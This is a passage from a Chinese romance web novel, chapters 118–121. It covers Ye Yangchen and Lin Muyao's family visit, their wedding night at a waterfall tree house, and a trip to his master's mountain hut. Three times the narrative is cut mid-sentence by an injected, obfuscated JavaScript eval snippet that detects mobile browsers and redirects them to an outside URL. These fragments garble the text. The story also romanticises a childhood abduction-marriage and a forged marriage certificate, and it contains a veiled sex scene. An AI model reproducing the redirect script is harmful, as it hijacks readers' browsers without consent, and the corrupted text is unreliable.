叶阳晨故意气慕瑶,“说不好,喜新厌旧是人的天性啊!” “你个见异思迁的家伙。”吃醋也会成为一种习惯,而且一发不可收拾,林慕瑶偷偷狠狠地掐了一下叶阳晨的腰间。 叶阳晨疼得呲牙咧嘴,连连告饶,“我逗你的,我不敢了。” 林慕瑶咬着嘴唇,微微晃着脑袋,“既然招惹了我,你就不能再朝三暮四。” “我什么时候朝五暮六过啊?我从九岁见到你,就没有再看过别的女孩一眼了。” 听叶阳晨这样说,林慕瑶这才笑开了颜。其实这些年,林慕瑶心里也知道叶阳晨对自己的一往情深。她甚至自己一个人的时候,想起叶阳晨对自己的情有独钟,心里都会溢满了甜。 慕瑶这么多年都没回过泽清山,这次叶阳晨却又突然把她带回来,叶阳天、唐露、夏薇都对他们之间的感情心中了然。 叶阳天看到儿子终于获得幸福,一脸欣慰笑容,“你们俩在悄悄说什么呢?还说得那么小声?不妨说给为父听听啊!” 叶阳晨坏笑,“爹,也没说什么,慕瑶说要尽快让你抱孙子。” 话音落下,慕瑶的脸唰的一下就红了,情急之下解释道:“爹,你别听他胡说。”这一句爹刚说出口,林慕瑶便愣住了,反应过来自己说“错”了话,她的脸就更加红了。就连叶阳天和大娘、二娘都很惊讶这一声“爹”,毕竟慕瑶从未这样称呼过。大家都怔在那里,只有叶阳晨在那里坏笑。 林慕瑶当年被抢上山的时候,虽然跟叶阳晨拜了堂成了亲,但那时她对叶阳晨没有任何感情,更不可能把叶阳晨的家人当做自己的家人来看,所以今天这一声爹还是林慕瑶第一次叫出口。尽管话是脱口而出的,像是无心的,但在此刻慕瑶的潜意识里确实已经把叶阳晨的家人当成了自己的亲人来看。 林慕瑶想解释,但又不能解释,无法解释,她的脸红润得像水蜜桃一样惹人怜爱。 二娘夏薇走下来,打趣道:“傻孩子,这有什么害臊的?我们早就是一家人了,你可是我们叶阳家明媒正娶的儿媳妇,如假包换。” 叶阳天开怀笑着,“瑶瑶,不要不好意思,你叫的那声爹,我特别喜欢。不瞒你说,我等了这声爹好多年了,终于让我给等到了。好了,你们两个孩子快快站起来说话,不要跪着了。” 既然叶阳天都那么说,慕瑶也便心里甜滋滋的。叶阳晨把慕瑶拉了起来,她的脸上还挂着一丝羞赧。 长大以后,慕瑶再回忆起自己小时候在泽清山的日子,才体味出叶阳天、大娘、二娘对自己是特别好的,只是那时自己还小,很多事还不明白,加之又对叶阳晨“恨之入骨”,便觉得既然叶阳晨这个“小土匪”不是好人,那么他的家人也不是什么善类。而现在慕瑶心爱叶阳晨,自然也爱屋及乌他的家人,见叶阳晨的父母对自己那样关爱,慕瑶的眼眶也不觉湿润了。 见林慕瑶哭了,大娘唐露也走下座位,过来摸了摸林慕瑶的头,“哎呦,我最好的儿媳妇,来让娘亲看看。”说着,唐露把林慕瑶抱在怀里。 少顷,林慕瑶擦了擦眼角的泪痕,“大娘、二娘,我没事,我只是觉得家人很温暖。” 林慕瑶转头看向叶阳晨,“阳晨,我们再给爹娘磕个头吧!” 叶阳天开口道:“都是自己家人,不用再多礼了。” “爹,慕瑶考虑周到,这个头是要磕的。”叶阳晨想了想,是应该磕个头,这次离开泽清山回楚州,恐怕要很久才能再回来。 叶阳天、唐露、夏薇三人端坐在上方,叶阳晨与林慕瑶双双跪下行稽首礼。每叩首一次,林慕瑶心里都会温暖一次,她觉得从此以后自己的世界里又多了很多亲人。 叶阳晨心里也很开心,因为他突然找到了夫妻一体的感觉。 磕完头后,三位长辈连忙叫慕瑶快快站起来。 叶阳天笑眯了眼,手上捋着胡须,“儿啊,听说你连战连捷了,为父真的太开心了。” 看到叶阳天引以为傲的表情,叶阳晨暗下决心,永远都不再去问父亲关于自己的身世的事。 “爹,以后孩儿还会打更多的胜仗。” “好小子,有志气,是我叶阳天的儿子。” 叶阳晨看向夏薇,“娘亲,清扬也封将了,以后战功立多了,一定能得个大将军的封号的。” 夏薇星眸闪亮,笑意盈盈,“真的啊?小扬也有出息了啊?” “当家的,晚上我们可要好好喝几杯。” 叶阳天朗声大笑,“那是自然,那是自然。” 晚上,一家人围在一起吃饭,甚是温馨。 饭后,慕瑶主动要求跟唐露同住几天。她这次陪着叶阳晨回泽清山,就是想同叶阳晨一起尽尽孝,这样做也算是实现了慕瑶的小心愿。 回到自己房中的叶阳晨觉得甚是无聊,就想去看看慕瑶在做什么。他偷偷跑到母亲房间的窗下,瞥见慕瑶正穿着睡裙曲腿坐在床榻上,手上则拿着一本书翻读着。 叶阳晨发觉此时母亲不在房间,便连忙进了房间。 门一开,慕瑶见进来的是叶阳晨,不觉笑问:“你不睡觉,过来做什么?” 叶阳晨走近些,一下把慕瑶手中的书抢过来,“你看什么书呢?你这么爱学习,我都自惭形秽了。如果让我师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13508479|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父看见了,又要拿你这个品学兼优学生来批评我了。” 慕瑶嘟起嘴,“你怎么那么讨厌?快还给我。” 叶阳晨瞥了一眼书名,诧异道:“《孙子兵法》?你看这个做什么?” 慕瑶温声道:“不用你管,我想看就看。” 叶阳晨稍稍细想便咧嘴笑了起来,伸手轻轻掐了一下慕瑶的脸蛋,“夫人这是要学习兵法,与我上战场抗敌吗?” 慕瑶噘起嘴,“哎呀,你好烦,总掐人家。”慕瑶那么漂亮柔嫩的脸蛋,他也是说掐就掐,叶阳晨这么下得去手,还真是不懂得怜香惜玉。不过慕瑶早就习惯了,这也算叶阳晨表达爱意的一种方式。从小到大,叶阳晨都是说得高兴了,就掐自己脸蛋一下。 见叶阳晨坏笑着盯着自己看,被说中了心事的慕瑶,支吾道:“你少臭美了,才不是为了你。”实际上自从叶阳晨上了战场,慕瑶就在看兵书了,也不限于《孙子兵法》这一本书,而且几乎到了废寝忘食、手不释卷的程度。她就是想多学学,多学点,将来就可以派上用场。慕瑶总是隐隐感觉有一天会随着丈夫上战场,所以她要早早准备。 叶阳晨然后把书还给慕瑶,知道她是不好意思承认,“娘子真好,我们夫唱妇随,任何强兵悍将都挡不住我们的。” “瞧你得意的。” 叶阳晨转而问道:“母亲呢?” “哦,二娘刚找她说事,她去去就回。” 叶阳晨眼睛突兀一亮,随之神秘笑着,“对了,娘这会儿不在,我给你看样东西。” “什么东西?” “一会儿你就知道了。”说着叶阳晨打开橱柜,翻箱倒柜从里面拿出一张纸,他得意地在慕瑶面前晃着那张纸。 慕瑶嫣然一笑,“你这么得意,是什么东西啊?” 叶阳晨把东西塞到慕瑶的手里,慕瑶带着疑惑打开来看,“这是我们的婚书?” 叶阳晨点头坏笑着。 慕瑶继续盯着看,突然惊讶道:“你这婚书上怎么还有我爹的签名啊?你们怎么办到的呢?这不可能,这一定不是我爹亲手签名。” 叶阳晨笑得前仰后合的,“我们就是有办法。看嘛,岳父大人早就把你嫁给我了,你还不承认?” 慕瑶也不得不承认婚书上面的字迹与父亲的亲笔绝无二致,她也知道这是叶阳晨找人仿冒的。只是她现在对叶阳晨已是倾尽真心,自然不会在意这个假婚书了。慕瑶抿嘴一笑,“对了,这个东西怎么会在娘的屋里呢?” “还不是因为你,当时嫁给我那么不情愿,我怕你哪天把这个婚书撕了,所以就不敢放在我们婚房。” 慕瑶娇嗔着,“你小时候坏心眼还真多。” “这可不叫坏心眼,当时我是明媒正娶,自然所有的东西都要齐备的。如果连婚书都没有的话,怎么能说我娶了你呢?”叶阳晨眉尖一跳,“哦,对了,还有一个好东西给你看。” “还有什么啊?” 叶阳晨又在柜子里翻了翻,翻了半天从里面拿出一个黄花梨匣子。 “这是什么啊?” 叶阳晨打开匣子,从中拿出一枚通体莹白的玉佩。这令慕瑶的眼睛一亮,她微微惊讶,随之露出幸福的笑容来。 119. 第一百十九章 林慕瑶接过玉佩,见玉佩中间镂刻着一个“瑶”字,她盯了片刻,突然惊讶得黛眉微蹙,“难道这个就是当年林卫两家结亲时的信物?” “是啊,你真厉害,一下子就猜到了。” “之前爹娘提过很多次玉佩的事,所以并不难猜的。对了,你怎么会有这块玉佩的?我听爹爹说,我的那块玉佩不是该在卫泽楠那里吗?” 叶阳晨得意笑着,“你别管我怎么会有这块玉佩的。我只想说他们老人都众口一词说婚约要按照当时议定的来,就是哥哥娶姐姐,妹妹嫁弟弟。但是我认为婚约还是要根据信物来定,否则信物的意义何在呢?所以不管是什么原因,总之阴差阳错,你的那枚玉佩一直在我这里,而且它已经陪了我十七年了。要我说,卫泽楠才是要跟我抢老婆的搅局者,而我只是“受害者”。一切都是天意,命中注定你是我的妻。” 林慕瑶温婉一笑,“瞧你得意的,脸皮真厚。” 在长风寨里住了几天后,慕瑶才偷偷问叶阳晨:“阳晨,流云瀑那里…我们的树屋还在吗?” “还在啊,怎么了?” 慕瑶虽很想去流云瀑住几天,可还是不好意思开口,毕竟这次回泽清山,主要目的还是陪陪叶阳晨的父母,于是她只是抿着水润下唇,想说的话却说不出口。 叶阳晨思忖片刻,咧嘴笑道:“你是还想去那儿住吗?”要说这个世界最懂林慕瑶的,恐怕还是叶阳晨。 慕瑶浅浅地点点头,那么多年过去了,她还真想看看那里的一切。流云瀑是慕瑶儿时在泽清山的唯一快乐所在,也是这么多年她心底念念不忘的一个情结。 “那还不简单啊,明天我们就去好不好?”说完,见慕瑶一脸害羞的样子,叶阳晨笑得更开心了。 “你真讨厌,你笑什么啊?总是笑人家。还有,你不能跟父母说是我想去住,你要说这是你的主意。”慕瑶说话的声音越说越小,最后理亏得甚至不敢看叶阳晨。 叶阳晨展颜,大手又伸向了慕瑶的脸蛋。 第二日一早,叶阳晨就带着慕瑶去了流云瀑。一路上,慕瑶的脚步有些轻快,她恨不得能有双翅膀,可以马上飞到流云瀑那里。 慕瑶一直拉着叶阳晨的手往前走,“你怎么那么慢吞吞的?你明明轻功就很好的的。你是故意走慢的,对不对?” 叶阳晨很少见到慕瑶这么活泼的一面,当然了,慕瑶只有在叶阳晨面前才会偶尔如此,平时她还是那么的娴静端庄。 记得儿时,泽清山对慕瑶来说就是牢笼,她被困在这里,想家不能回,伴随她的也多是恐惧和害怕。但只有住在流云瀑的日子,让慕瑶觉得安心,令她有一种莫名的安全感。以至于离开泽清山这么多年,流云瀑的美景曾经无数次出现在慕瑶的睡梦里,梦里的流瀑飞泻是那么闪闪发亮。 慕瑶越是想快点赶到那里,就越觉得时间漫长,“阳晨,怎么还不到?小时候我们来玩没感觉有这么远的路啊!” “你耐心点吧,这才没有走多久的。” “不管,我走不动了。”刚才走得太快,慕瑶是真的有点累了。 叶阳晨故意逗慕瑶,“你现在长大了,我背不动你了。” 慕瑶微微噘起嘴,“你骗人,前几日你在竹海刚刚背过我。”说完,她转到叶阳晨的身后,轻轻按他的肩膀,“你快蹲下来。” 叶阳晨照做蹲下来,“上来吧!” 慕瑶心里甜甜地趴到叶阳晨的背上,叶阳晨起身,打趣着:“果然是重了。” 慕瑶用手轻拍了一下叶阳晨的肩膀,“你还说。” 叶阳晨就这样背着慕瑶走了一路。临近流云瀑,未见其景,已闻水声,慕瑶竟有些心跳加速,连她自己都说不清在紧张什么。 慕瑶兴奋道:“快放我下来。”当她看见流云瀑的那一刻,曾经鲜活的记忆突然出现在脑海中。 不知是不是多年不见的缘故,慕瑶总感觉如今流云瀑的水量更大了,景色也更加壮观和美丽。放眼望过去,雾气升腾,银链飞泻,壮观得令人叹为观止。那种熟悉的感觉又回来了,她不觉驻足沉醉其中。 见慕瑶如此出神,叶阳晨不敢打扰她分毫。 良久,叶阳晨才笑着问道:“要不要去树屋看看?” “当然要啊。” 叶阳晨拉着慕瑶来到树屋脚下,两人停住了脚步。叶阳晨给慕瑶使了个眼色,慕瑶这才慢慢走上木梯。她走到屋门口深深吸了一口气,停了片刻后才慢慢推开门。 门被推开的那一刻,慕瑶远远地望过去,透过窗子,窗外的瀑布、流云、绿柳瞬间映入眼帘。慕瑶觉得这里的一切都没有变,连感觉都和从前一模一样。这个世界只有一种东西可以穿越时空却不褪色,那就是回忆。 慕瑶走进树屋里,发现这里的一切摆设用具都一尘不染。 见慕瑶略有诧异的神色,叶阳晨解释道:“昨日你说要来,我就让丫鬟花语找人又来打扫过。我希望今天你来就能看到干干净净的屋子,就和从前一样,什么都没有变。” 慕瑶冲着叶阳晨会心一笑,然后慢步走到窗前。窗前她和叶阳晨一起种的那些花开得更艳更茂盛了。叶阳晨摘下一朵白兰花,慕瑶瞪了一眼叶阳晨,“你为何摘我的花啊?” 叶阳晨也不理她,把白兰花插在慕瑶的头上,“还是我娘子漂亮。” “油嘴滑舌的家伙。” “我是说真的。”说着,叶阳晨身体凑近了些。 慕瑶微微垂下头,低声软语,“你干什么?” “我想吻你。” “不想要……”慕瑶的话还未说完,叶阳晨已经吻上她的水润双唇。 微风徐来,此情此景之下,叶阳晨的缱绻意浓更让慕瑶沉醉。深吻良久,慕瑶才把自己的头埋进叶阳晨的颈窝。 聊着,笑着,甜蜜着,太阳就渐渐下山了。 入夜,慕瑶冲着叶阳晨浅笑一声,“我要去沐浴了,然后就睡了,你也早点睡吧。” 没等叶阳晨说话,慕瑶已走进了卧室,叶阳晨感到怅然若失。 在树屋这个熟悉又有纪念意义的地方,往事如昨,加之在赤兰山上,叶阳晨失而复得慕瑶,那奔涌的感情至今流淌在他的心间,这些都令躺在堂屋地板上的叶阳晨辗转反侧。 叶阳晨很想过去敲开卧房的门,哪怕只是进去抱抱慕瑶。只是不知为什么,今日他就是有点不敢去敲门,这不禁让叶阳晨怀疑自己那些年去西关都是怎么厚着脸皮夜里闯进到慕瑶卧房的。 思忖良久,叶阳晨才起身壮着胆子走向卧房门口,每迈一步,他都听到自己擂鼓般的心跳声。来到门前,叶阳晨抬起手又放下,反复几次后他才轻轻敲了敲门。卧室里的窗户未关,瀑布的声音有点大,所以慕瑶并没有听到敲门声。 见没人回应,叶阳晨缓缓伸出手去推开了房门,他走进房间的那一刻,整个人愣在那里。床榻边的灯依然点着的,透过薄纱帐幔,叶阳晨见慕瑶背坐在床榻上,那晶莹玉背映入他的眼底、心底,摄人心魄。叶阳晨定在那里,向前也不是,走也不是。 此时,慕瑶刚洗完澡,正坐在床上换衣服。她拿起红绸纱衣慢慢披在自己的肩上,刚一转身,便看见了叶阳晨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13555484|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站在那里。慕瑶心一惊,连忙下意识地捂住胸口,“你什么时候进来的?吓死我了。” 叶阳晨语无伦次,“我…我什么…都没看见。” “我以为你都睡了,又进来做什么?” 叶阳晨只好如实道:“我在外边睡不着,我想挨着你睡。” “不行。”慕瑶说话的声音之小,竟连她自己都听不太清。 如果慕瑶严辞拒绝,叶阳晨也就走出去了,可偏偏慕瑶那娇羞声勾得他心跳加快。叶阳晨感觉自己的喉咙好像被火灼烧着,他情不自禁走过去撩起纱帐。 “我要你出去,你过来干嘛?” 见慕瑶的样子犹如一只受惊的小兔子,叶阳晨更觉气血翻涌、情火喷张。 慕瑶羞得赶紧转过身去,叶阳晨情不禁从慕瑶身后抱住了她,两手探进纱衣寻觅,随之更是情难自抑地吻上了慕瑶的脖颈。 慕瑶顿时感到浑身酥软,她知道叶阳晨接下来要做什么,“别…别…阳晨,今天我一点心里准备都没有,要不改天好不好?你再给我点时间。” 慕瑶心里也清楚,用不了多久她就会把自己交给叶阳晨了,如果不是事总不凑巧,她现在已经是叶阳晨的人了。可今日叶阳晨突然闯进来,她有点不知所措,这种情绪下,她对未知的一切竟有一点点害怕。不过慕瑶知道好像也没有时间给她准备了,她有一种强烈的感觉,那就是自己与叶阳晨的最后一层薄纱会在今夜捅破。 叶阳晨鼻息渐浓,声音低沉,“上次我出征临昌前,你不都答应我了吗?在下关竹海,你也许诺我了啊。” “所以…就是今夜吗?所以…你决定了吗?就在今夜?” 叶阳晨的喉咙里发出低沉的温柔声,“是的,我不想再等了,等了那么久,每次你都差一点就成了我的妻,最后因为差的那一点点,我差点失去你。” 听了叶阳晨的话,慕瑶身体随之微微一抖,呢喃软语,“那你能把灯灭了吗?” 既来之则安之,叶阳晨重新找回了厚脸皮。他岂能不知慕瑶是害羞了,但依旧耍赖道:“先不熄灯,我要看我的玲珑印,在这样的时刻,我们的感情怎么能没有玲珑印的见证?” 慕瑶的语声被压得更低,“可我心跳得厉害。” “别紧张,其实我也跟你一样紧张。”说着,叶阳晨按住慕瑶的双肩,将她的身子转过来。 罗衫轻解,春光毕现,尽收眼底。 有诗云:“素胸未消残莹雪,滑腻初凝指留香。” 叶阳晨耐心而温柔,渐渐探索,渐渐寻觅,也渐渐满足。春宵片刻,慕瑶全身被热火点燃,就连血都是热烫的,刚刚紧张的心情也随之消散。 叶阳晨迷恋着慕瑶身上清香的味道,他如痴如醉地吻着,直至慕瑶的娇躯打满爱的印记。他孜孜渴求,她欲拒还迎。 一幅美丽画卷呈现,阳光突然刺破云霞,初时如泉水细流,片刻后似海潮奔腾。屋中仿佛有音乐奏响,直至乐音和声,乐章逐渐至极度悦心美妙。 时间一秒一秒地过去,慕瑶呢喃道:“阳晨,我的心跳……”浓情包围,她已感觉浑身酸软无力。 叶阳晨将人搂紧,“慕瑶,来不及了……” “可我……”慕瑶虽然嘴上这样说,可她用力咬紧下唇,将身心皆完全交付叶阳晨。 此时叶阳晨情难自抑,根本听不进去慕瑶的话。 慕瑶一直试着让自己的情绪放松下来,可几乎没什么用。 直至,飞瀑流泻银河落,碧峰温润雨留痕,慕瑶这才伏在叶阳晨的身上,她的脸颊又重新染上了一层红晕。 120. 第一百二十章 叶阳晨下颔抵住慕瑶的头,手上仍轻轻摩挲着慕瑶的玉滑肩背,他的耳边依然能听见慕瑶略重的喘息声。 慕瑶娇嗔:“我就知道你进来就没安好心,还是让你得逞了,这次你该开心了吧?” “开心!” “真是坏蛋呢。”虽然嘴上这样说,但把自己完全交付给叶阳晨,慕瑶还是很欣悦幸福的。 “是啊,想想我还真是挺坏的,我已经在你身上烙上两次印记了,一次是你八岁时,我给你的玲珑印,另一次就是刚刚……” “流氓,不许你说出来。” “那谁让今生你喜欢上这个流氓的。”叶阳晨坏笑,“春宵一刻值千金,慕瑶,能不能再给一次?” “不要,还有点疼着呢。” 叶阳晨强按下心中的火热,心想来日方长,不必急于一时。 良久,慕瑶娇媚说着:“这回你不用怕我是别人的了吧?” “不怕了,终于得到你了,这一路真是不容易啊。” “常听人说,你们男的,得到的太容易就不珍惜了。” 叶阳晨不再接话,只是将怀里的慕瑶搂得更紧。 翌日清晨,慕瑶在叶阳晨的怀里醒来,她察觉到自己身上未着片衣,却依然与叶阳晨缱绻交缠在一起,一时仍娇羞难掩。 慕瑶轻轻拿开叶阳晨搭在自己腰上的手,缓缓地坐起来,她想趁叶阳晨还没醒来前先披上衣服。 慕瑶刚把衣服披上,就感觉两只大手从身后抱住了自己,还是那么不老实。 慕瑶语声娇滴滴,“你做什么?放过我吧,昨夜被你欺负的,我现在还浑身酸软无力的。” “转过身来。” “我不好意思。”话刚说完,慕瑶就被叶阳晨扳着肩膀转过身去。 四目相对,慕瑶把头埋下去。叶阳晨知道慕瑶是害羞,便也不勉强她。 慕瑶突然说道:“阳晨,你左侧锁骨下方有块疤。” 叶阳晨若无其事道:“和你玲珑印是一个位置。” “还真是,你这是怎么弄的?” “还能怎么弄的?我媳妇弄的,当时我婆娘想‘谋杀亲夫’,幸好我命大,才侥幸活了下来。” 话音一落,慕瑶黛眉微蹙,稍稍细想了想,她才回忆起那疤痕是自己儿时在泽清山用匕首刺伤叶阳晨留下的,只是很多年过去了,刚刚又没往那处想,才一时忘了。 想起来后,慕瑶有些难为情,“对不起嘛。” 叶阳晨绷起脸,故意不说话。 “我虽然伤了你,但现在做你妻子,也算是补偿了吧?” 叶阳晨将头轻轻凑近,闻着慕瑶发丝间的香气,如痴如醉,“那你再‘补偿’我一次,再陪我躺一会儿。” “别闹了,已经不早了。” 叶阳晨耍赖道:“怕什么,这里只有我们两人,而且难得有这样的机会。” 慕瑶正在犹豫,叶阳晨看见床单上的一抹落红,“这是什么?” 慕瑶望过去,连忙用手按住,娇羞道:“不许看。”说完,她的双臂搂住叶阳晨的脖颈,两人又顺势倒在床上。 红纱衣衫再次褪去,有了昨夜初尝禁果,再次面对叶阳晨的火热,慕瑶已不那么不知所措,但依然羞涩。她试图迎合着爱人,那么希望叶阳晨能身心愉悦。以后每次颠鸾倒凤,慕瑶都恨不能两人合二为一,与心上人做快乐事,那是千金不换的幸福。 接下来几日,叶阳晨和林慕瑶在泽清山每日尽情享受着甜蜜的时光。屋里屋外,飞瀑下,林影中,阳光里,处处是两人的缠绵地,不知倦意,乐此不疲。如果不是烽火未收,两人真想一直这样畅快在天地间。 在流云瀑住了些日子,叶阳晨觉得也该回楚州去了,就把这个想法与慕瑶说了。 慕瑶俏皮笑问:“你就没忘了什么事?” “什么事?父母看了,师父见了,还有什么?” 慕瑶明媚一笑,“我们是见师父了,可只见了一位师父啊。” 叶阳晨微微一怔,“你是说我们去玉狼峰看楚宗师父?” “对啊,你怎么能厚此薄彼呢?你总是记得文师父,却总忘记武师父,太不公平了。” 在慕瑶心中,她还是很惦念楚宗的,甚至相比仁渊,慕瑶对楚宗的感情更深一些,毕竟她与楚宗有半师之谊,她的易容术当初就是楚宗教给她的。 叶阳晨解释着:“其实我想过的,只是楚宗师父常年四处云游,他多半不再玉狼峰顶的。我们在家待的时间本来短,这一来一回的需要很多天的。” “无妨,我们去峰顶看看,如果师父不在,我们就当上去看日出了。” 既然慕瑶想去,叶阳晨也当然愿意前往。 翌日,两人就出发了。上山前慕瑶一定要回趟山寨,叶阳晨问她回去做什么,慕瑶神神秘秘的,就是闭口不说。 过冷夕林的时候,叶阳晨逗着慕瑶,“害怕吗?这里经常有狼出没。” “有你在,我就不怕了。” 可能因为是白天,狼多半躲在洞穴中休息,所以叶阳晨与林慕瑶登上玉狼峰峰顶非常顺利。 此时已是正午,他们来到楚宗住的小木屋,叶阳晨站在在栅门外喊道:“师父,我来了……” 见无人应答,叶阳晨有些失望,心想师父多半不在。稍稍迟疑,他牵着慕瑶的手推门走了进去。来到屋中,见地中央的炉火点着,两人相视笑了起来,这就说明楚宗没有走远。 叶阳晨拉着慕瑶坐在矮树墩子上,两人围着铁炉子烤着火。 坐了一会儿,想到慕瑶还饿着肚子,叶阳晨突然站了起来,去屋里墙角落四处找着什么。 慕瑶不禁一问:“你在做什么?” “我在找食材,我要给你做个美食。” “什么美食啊?”说真的,这么简陋的条件,食材也有限,慕瑶还真的不信叶阳晨能弄出什么花样美食来。 找了半天,叶阳晨只找到了一个地瓜和两个小土豆。 慕瑶错愕,“你这是做什么?” “一会儿你就知道了。” 叶阳晨把地瓜和土豆放在炉子底部,然后冲着慕瑶暖笑,“你稍等一下,一会儿就好。” 慕瑶双手托着脸颊,双眸秋水盈盈地看着叶阳晨忙来忙去的。 这个铁炉子有上下两层,中间有铁篦子相隔。上层放木炭柴禾,木炭柴禾燃尽后的草木灰就会掉到底层。叶阳晨的土豆和地瓜就放在碳灰上,铁篦子透出的热量渐渐把食物烤熟的。 须臾,慕瑶已经能闻到扑鼻的香味,她嫣然一笑,“怎么会这么香啊?” “叶阳晨独家美食就是这么香。” 慕瑶眼含爱意地笑着,“就能吹牛。” “我可不是夸口,一会儿你就知道了。” 叶阳晨一直用树枝拨来拨去的,慕瑶不知他的用意,只是耐心地看着。又过了片刻,红薯和土豆的外皮变成了褐色,叶阳晨兴奋叫着:“好了,好了。” 慕瑶也跟着一亮。 叶阳晨把红薯和土豆从炉灰中拨出来,他先捡起一个地瓜。 慕瑶微微皱眉,“这东西不脏吗?可以吃吗?”慕瑶从未见过这种吃法,可能西关的街市上也有类似的食物,不过想来人家的做法要比叶阳晨的干净得多。 叶阳晨满不在乎道:“炉灰一点都不脏的,何况这个红薯的外皮我们是不吃的。”他边说边剥着地瓜的外皮。 慕瑶抿着嘴唇看着,既然阳晨说不脏,她心里就不会怀疑的。只是放在过去,慕瑶是不能想象自己会接受这种吃法的,跟在叶阳晨身边,她为了自己的爱人改变了太多太多。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564636|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 叶阳晨剥完地瓜的皮,露出里面金黄色的薯肉,然后递给慕瑶,“老婆,拿着,特别好吃,吃一口准保香个跟头。” “九老伯的话都被你学去了呢。”慕瑶轻轻撇了撇嘴,笑着接了过来。她垂头看了看手中的红薯,感觉这食物的颜色还是很诱人的,忍不住想要尝一尝。 慕瑶踌躇片刻轻轻舔了一口,红薯的软糯香甜,入口即化。她巧笑嫣然,流波顾盼,“嗯,真的好吃。” 看着慕瑶吃得开心,叶阳晨也宠溺地看着她笑。 慕瑶吃起东西来,无论多么好吃,她都是一副优雅恬静的样子。只不过遇到慕瑶爱吃的食物,她的樱唇会微微上翘,然后还会频繁地抿着嘴唇。 少顷,慕瑶发现叶阳晨正在看着自己吃,她把红薯掰成两半,其中一半拿给叶阳晨。 叶阳晨摆手,“我不吃,你吃得开心就好。” “不,我就要和你一起吃。” 慕瑶这么说,叶阳晨只好接过来,咬了一大口。 慕瑶边吃边抿嘴偷笑,她感慨爱真的可以改变一个人。两人围着铁炉子吃着烤红薯,慕瑶觉得是那样温馨幸福,她这才明白,原来跟着喜欢的人,做任何事,都会觉得心甜如蜜。 叶阳晨是在慕瑶的后面开始吃红薯的,可他两口就把红薯吃完了。然后慕瑶吃着红薯的间隙,他又开始帮慕瑶剥土豆。剥掉土豆皮,露出了里面的金黄色。叶阳晨剥完了也不催慕瑶,就把剥好的土豆拿在手里,静静地看着慕瑶吃。 慕瑶娇嗔着:“你不要看了,看得我都不好意思吃了。” 叶阳晨不说话,只是看着慕瑶暖笑着,眼里有爱又有光。 慕瑶吃完了地瓜,然后又接过烤土豆。土豆的口感当然不会如红薯那般甜,但依旧软糯,还有沙沙的口感和微微的清香。 慕瑶细嚼着,“阳晨,这种清香的味道我更喜欢,很特别。” “那这两个土豆都给你。” “你也吃嘛。” 叶阳晨展颜,“我以前在玉狼峰学艺的时候经常烤着吃的,你吃吧。” 吃完了红薯和土豆后,慕瑶有点饱腹感,肚子里有了食物,身体也感觉比刚上山时更暖和些。她的体力远不如叶阳晨,走了这两天山路,她也确实倦累了。 叶阳晨看在眼里,暖心道:“瑶儿,你去小榻那里躺一会儿吧。” “这样不好吧?” “没有什么不好的,等师父回来我再叫你起来。”见慕瑶还在犹豫,叶阳晨打趣道,“你忘了小时候我们来玉狼峰看日出,我和你就挤在那个小榻上的。” 慕瑶双颊瞬间染红,“我不记得了,谁像你总记得这样的事?” “好啦,去睡吧,我守着你,你睡得香。”叶阳晨不容慕瑶再拒绝,径自拉着去了小榻,然后按着她躺下,再把她身穿的白狐毛斗篷帮慕瑶盖上。 慕瑶眨了眨秋水般灵动的双眸,浅笑撒娇着,“那你不许离开这个屋子,万一我醒了,我会害怕的。” 叶阳晨温声哄着:“我哪儿都不去,就在榻边守着你。” 慕瑶安心地缓闭了眼睛,少时便睡着了,睡得那样安宁。叶阳晨看着自己的女孩,心里格外踏实安稳。他还是第一次这么仔细看着慕瑶睡觉的样子,才发现她的睫毛修长浓密,那张脸更是如凝脂美玉一般,闪着亮白透明的光彩。看了慕瑶那么多年,叶阳晨还是觉得她美得惊为天人,一如初见时心动。 慕瑶这一觉就睡了一个时辰,叶阳晨也坐在榻下眯了一会儿。 慕瑶醒来后便坐了起来,揉了揉眼睛道:“师父还没有回来吗?” 叶阳晨怕她着凉,把斗篷帮慕瑶披上,“还没有,不知他去哪儿了。” 两人正说着,突然听见门外有重重的脚步声,随之屋门被推开了,冷风鱼贯而入。 121. 第一百二十一章 那人着魔鬼面具,但气场轩昂,他的手里提着一只鹿,颀长而立在门口处。他不是别人,正是叶阳晨的授业恩师,江湖上大名鼎鼎的云侠楚宗。 叶阳晨连忙惊喜地跑过去,跪地便拜,“师父,徒儿回来看你了。” 徒儿突然回来,这对楚宗是大大的惊喜。事实上,当楚宗推门看见叶阳晨的那一刻,面具下的那张脸就已激动盈泪。算来也有两年没见到徒弟了,他还是真的想念得紧。 楚宗也没搀扶叶阳晨起身,只是淡淡一问:“什么时候到的啊?” 